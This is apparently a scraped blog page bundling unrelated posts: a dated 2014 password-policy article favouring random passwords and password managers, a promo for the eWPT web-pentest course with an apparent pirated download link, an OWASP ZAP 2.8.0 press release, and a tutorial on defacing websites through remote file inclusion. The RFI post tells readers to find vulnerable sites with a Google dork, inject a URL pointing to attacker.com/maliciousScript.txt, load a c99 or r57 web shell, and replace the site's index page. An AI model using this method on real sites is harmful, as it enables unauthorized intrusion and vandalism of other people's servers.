Soul Submissive

Change Passwords Regularly - A Myth And A Lie, Don'T Be Fooled, Part 2

Posted on 11:13 PM by Tina

In the previous blog post, I have covered the different passwords you have to protect, the attackers and attack methods. Now let's look at how we want to solve the issue.

Password requirements

So far we have learned we have to use long, complex, true random passwords. In theory, this is easy.

Now, this is my password advice for 2014:

Password character classes

Use upper-lower-digit-special characters in general cases.

If you don't understand what I just write, choose from this:

qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789-=[];'\,./<>?:"|{}_+!@#$%^&* ()`~

If you are a CISO, and say: use 3 out of 4 character class, everyone will use Password12 or Welcome12 as their password (after the 12th enforced password change).

Password length

This is basically the only thing which changes whether the password is in the very high/high/medium/low level. Check the previous blog post for the details about very high/high/medium/low level.

Password length: Very high level class (including work-related/enterprise passwords)

15 character (or 20 if you are really paranoid). Making true random passwords longer than 20 characters usually does not make any sense, even in high security scenarios (e.g. military, spy agencies, etc.). 15 character in Windows environment is a right choice, as LM hash is incompatible with 15 character passwords, thus one (effective) attack won't work. Beware, there might be bugs with using 15 character passwords, with a low probability.

Password length: High-level class

12 character, upper-lower-special characters

Password length: Medium class

10 character, upper-lower-special characters, still TRUE random

Password length: Low-level class

9 character. Why less?

Pin codes

Always choose the longest provided, but a maximum of 8. Usually, more is pretty impractical.

Password randomness

True random, generated by a (local) computer. Avoid Debian. Avoid random generated by your brain. Do not use l33tsp33k. Do not append or prepend the current month, season or year to a word. Do not use Star Wars/Star Trek/(your favorite movie/series here) characters or terminology. In general, avoid any pattern like the above ones. The chances that a true random password generator generates SkyWalker12 is very-very low. And believe me, it is not that hard to crack those. Every algorithm that you would come up with; the bad guys have already thought of it. Use true random. Let the computer do it for you. See details later in this post.

Password history

Never-ever reuse passwords. NEVER!

Password change period

If it is not enforced otherwise, don't bother to change it twice in a year. But! Check if the password cracking speed made your current ones obsolete. If yes, change the obsolete passwords. Immediately change the password if you have been notified that the service you use has been compromised. Immediately change all of your recently used passwords if you suspect malware was running on your computer (do this on a known clean computer). Immediately change your password if you have used it on a computer you don't own, or there is a small chance malware is running on it. Change it if you really had to give your password to someone. Otherwise, goodbye regular password change. We will miss you...

If you are a CISO, and writing security policies, you should have to enforce the password change period based on: do you allow LM hashes? What is the password length requirement for users and administrators? What is the current hash cracking speed, and the forecast for the next 2 years? I think people would be happy to increase their passwords with 1-2 characters, if they are not forced to change it frequently (e.g. every month).
Now after I was sooo smart giving advises people still hate to implement, let's see the practical implementations. At least some people might like me, because I told them not to change the passwords regularly. Next time someone tells you to change all your important passwords regularly, put a lie detector on him, and check if he changes all of his passwords regularly. If he lies, feel free to use the wrench algorithm to crack his passwords. If he was not lying, call 911, to put a straitjacket on him. Only insane paranoid people do that in reality. Others are just too scared to say "what everyone recommended so far is bullshit". Comments are welcome ;) Other people might hate me for telling them using true random passwords. Don't panic, keep reading.

And don't forget to use 2 factor authentication. It might seem a bit of an overkill at the beginning, but after months, you won't notice using it.

(Bad and good) solutions

I will use the same password everywhere

This is a pretty bad idea. If one of the passwords are compromised, either the attackers can access your other sites, or you have to change all of your passwords. There are better ways to spend your life on earth than changing all of your passwords.

I will remember it

Good luck remembering 250 different, complex passwords. Don't forget to change them regularly! ;)

I will use the password recovery all the time

Not a very user-friendly solution. And because the security answer has to be as complicated as the password itself, the problem has not been solved.

I will write it down into my super-secret notebook and put it in my drawer

Although it might work in some cases, it won't work in others. I don't recommend it.

I will use an algorithm, like a base password, and add the websites first letters to the end of the password

Still better than using the same password everywhere, but believe me, if this is a targeted attack, it is not that hard to guess your password generation algorithm.

I will use the advice from XKCD, and use the password correcthorsebatterystaple

Still a lot better than simple passwords, but unfortunately, people are still bad at choosing random words with random order, so it is not the best solution. And again, you can't memorize 250 different passwords ... Even 10 is impossible. Only use this method in special corner cases (see details later), and use a passphrase generator!

I will use a password manager

This is the very first good idea. It solves the problem of remembering 250 different complex and random passwords. Some people might complain about using a password manager, here are those complaints. And my answers:

If someone gets access to this one password store, all is lost.

Answer: If someone accessed your password store, and the master password, you can be pretty damn sure that most of your passwords are already stolen. For extra paranoids, you can use multiple password stores, one for daily use, one for rare cases. Beware not to forget the password for the second one ;)

What if I don't have access to the password store when I need it?

Answer: In the age of cheap notebooks, tablets, and smartphones, in 99% of the cases you should not use that important password on any other device than yours. In the rare cases when you must, you can use either your smartphone to get the password, or use a browser extension like Password hasher to generate different passwords to different websites, with one password. For extra paranoids, you can have different master passwords for the different security levels. And don't forget to change the password after you are back at your own computer.

What if I forgot the one password to the password store?

Answer: If you use your password manager daily, it has the same odds to forget that one password as it is to forget every one of your passwords.

Password managers make phishing attacks easier.

Answer: Who started this nonsense? Good password managers decrease the risk of phishing.

Password managers have the same vulnerabilities as other websites or software.

Answer: Well, this is partially true. There are at least 3 types of password managers, from most secure to least: offline, browser built-in, online. Online password managers give better user experience, with a sacrifice in security. But if you choose one of the leading password managers, and you are a simple home user, the risks are negligible. If you try to store your work password in an online password store, you might violate your internal security policy. For paranoids, use offline password managers, and back them up regularly. If you choose an online password manager, at least use 2-factor authentication. And don't forget, your Chrome password can be easily synchronized to the cloud, shifting it to the online category.

In some cases, like Full Disc Encryption, OS login, smartphone login, or password manager login, the auto-type of password from the password manager is not available, thus choosing a true random password is a pain in the a$$.

Answer: True. Generate pronounceable passwords or passphrases in these corner cases, e.g. with the Linux tool apg you can generate pronounceable passwords. For easy and fast type, don't use capital letters (only lower-alpha - digit - special) in the original password, but increase the length of the password. Add 1 extra character because you don't use upper case letters, add 3 other because it is a pronounceable password, and you are good to go. For extra paranoids change one or two of the letters to uppercase where it is convenient.

apg -M SNL -m 15 is your friend.

If you want to check what I write here (always a good idea), test the entropy of a true random 10 character password with all character classes, and check it with 14 characters, without uppercase. I recommend KeePass for that. If you comment on this that "Keepass can not measure that it is a pronounceable password, thus the entropy is lower in reality", my answer is: "Check out the current passwords used by users, and current password advises, and tell me if this password is a lot better or not ..." . You have been warned.

For the high-level password class, I don't recommend anything your brain generated. There are also suitable offline passphrase generators. Use at least 5-6 words for passphrases.

Password managers are not user-friendly, it takes more time to log in.

Answer: If you set auto-type/auto-fill, and the password manager is opened once a day (and you lock your computer when you leave it), in this case, logging in takes less time than typing it! It is more convenient to use it, rather than typing the passwords every time.

I like to create new unique passwords every time I create a new account, and password managers take the fun away from it.

Answer: Said no one, ever! "38 percent of people think it sounds more appealing to tackle household chores – from folding the laundry to scrubbing toilets – than to try and come up with another new user name or password."

To summarize things. Use a password manager.

General advise

Never use your essential passwords on other computers. They might be infected with a password stealer. If you really have to use it, change the password as soon as possible on a trusted (your) computer.

Don't fool yourself by phishing sites. If you go to the local flea market, and there is a strange looking guy with "Superbank deposit here" logo above his head, will you put your money?

Protect yourself against malware. Use a recent operating system, and even if you use OSX or Linux, it is not a bad thing to have an AV as a "last line of defense". Or to check your pendrive for Windows USB worms.

Never-ever use online web sites to "generate your password", "measure the complexity of your password" or "check if it has been breached". Never! (Except if it is your password manager :) ... )

Update: Sign up on the https://haveibeenpwned.com/ for notification if your e-mail is found in a leak.

Changing passwords frequently is bad advice. It is not effective. Put more energy in other right password advise.

Related news

0 comments

Hackerhubb.blogspot.com

Posted on 2:43 PM by Tina

Hackerhubb.blogspot.comRelated articles

0 comments

eWPT - Web Application Penetration

Posted on 6:12 AM by Tina

The eWPT - Web Application Penetration Testing Professional course from the popular eLearnSecurity Institute and INE is an advanced web penetration testing course. Prerequisites for this course Completion of the eJPT courseIs. The eWPT course is one of the most popular courses in the field of web penetration testing or web hacking. This course is usually compared to the AWAE course from Offensive-Security and the SEC542 course from SANS. This course starts from a complete beginner in the field of web penetration testing and its topics continue to an advanced level. In this course you will gain an in-depth understanding of OWASP, Burpsuite software, complete web application analysis, data collection, common bugs such as XSS and SQL Injection, Session-based vulnerabilities, as well as LFI / RFI, attacks On HTML, content management systems (CMS) penetration testing such as WordPress, penetration testing of SQL and non-SQL databases.

Course pre requisites

Completion of the eJPT course

Course specifications

Course level: Intermediate

Time: 16 hours and 18 minutes

Includes: ‌ 30 videos | 18 labs | ‌ 15 slides

Professor: Dimitrios Bougioukas

EWPT Course Content - Web Application Penetration Testing Professional

Web Application Penetration Testing

Penetration Testing Process

Introduction

Information Gathering

Cross Site Scripting

SQL Injections

Authentication and Authorization

Session Security

Flash

HTML5

File and Resources Attacks

Other Attacks

Web Services

XPath

Penetration Testing Content Management Systems

Penetration Testing NoSQL Databases

Link to Download

Read more

0 comments

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Posted on 9:41 PM by Tina

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Related news

0 comments

OWASP ZAP RELEASES V2.8.0 WITH THE HEADS UP DISPLAY

Posted on 1:11 PM by Tina

OWASP ZAP RELEASES V2.8.0 WITH THE HEADS UP DISPLAY
Heads Up Display simplifies and improves vulnerability testing for developers

London, England, 20 June 2019. OWASP™ ZAP (Open Web Application Security Project™ Zed Attack Proxy) has released a new version of its leading ZAP Project which now includes an innovative Heads Up Display (HUD) bringing security information and functionality right into the browser. Now software developers can interactively test the reliability and security of their applications in real time while controlling a wide variety of features designed to test the quality of their software.

ZAP is a free, easy to use integrated penetration testing tool. With the addition of the Heads Up Display, ZAP can be used by security professionals and developers of all skill levels to quickly and more easily find security vulnerabilities in their applications. Given the unique and integrated design of the Heads Up Display, developers and functional testers who might be new to security testing will find ZAP an indispensable tool to build secure software.

The latest version of ZAP can be downloaded from https://www.owasp.org/index.php/ZAP The full release notes are available at https://github.com/zaproxy/zap-core-help/wiki/HelpReleases2_8_0.

In addition to being the most popular free and open source security tools available, ZAP is also one of the most active with hundreds of volunteers around the globe continually improving and enhancing its features. ZAP provides automated scanners as well as a set of tools that allows new users and security professionals to manually identify security vulnerabilities. ZAP has also been translated into over 25 languages including French, Italian, Dutch, Turkish and Chinese.

Simon Bennetts, OWASP ZAP Project Leader commented: "This is a really important release for the project team and developers who want to build great and secure applications. The HUD is a completely new interface for ZAP and one that is unique in the industry. It shows that open source projects continue to create high-quality, new and exciting tools that deliver real value to the market - and at no cost to users."

"ZAP is the Foundation's most popular software tool," said Mike McCamon interim executive director of the OWASP Foundation. McCamon continued, "For nearly two decades OWASP continues to be a great destination for innovators to host, develop, and release software that will secure the web. Simon and the entire ZAP community deserves great recognition for their continued devotion to open source excellence."

For further information please contact:
Simon Bennetts, OWASP ZAP Project Leader: simon.bennetts@owasp.org or Mike McCamon, Interim Executive Director, mike.mccamon@owasp.com

0 comments

Soul Submissive

About Soul Submissive

Labels

Blog Archive

My Blog List

Followers

Change Passwords Regularly - A Myth And A Lie, Don'T Be Fooled, Part 2

Password requirements

(Bad and good) solutions

I will use the same password everywhere

I will remember it

I will use the password recovery all the time

I will write it down into my super-secret notebook and put it in my drawer

I will use an algorithm, like a base password, and add the websites first letters to the end of the password

I will use the advice from XKCD, and use the password correcthorsebatterystaple

I will use a password manager

General advise

Related news

Hackerhubb.blogspot.com

eWPT - Web Application Penetration

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

Related news

OWASP ZAP RELEASES V2.8.0 WITH THE HEADS UP DISPLAY

Related posts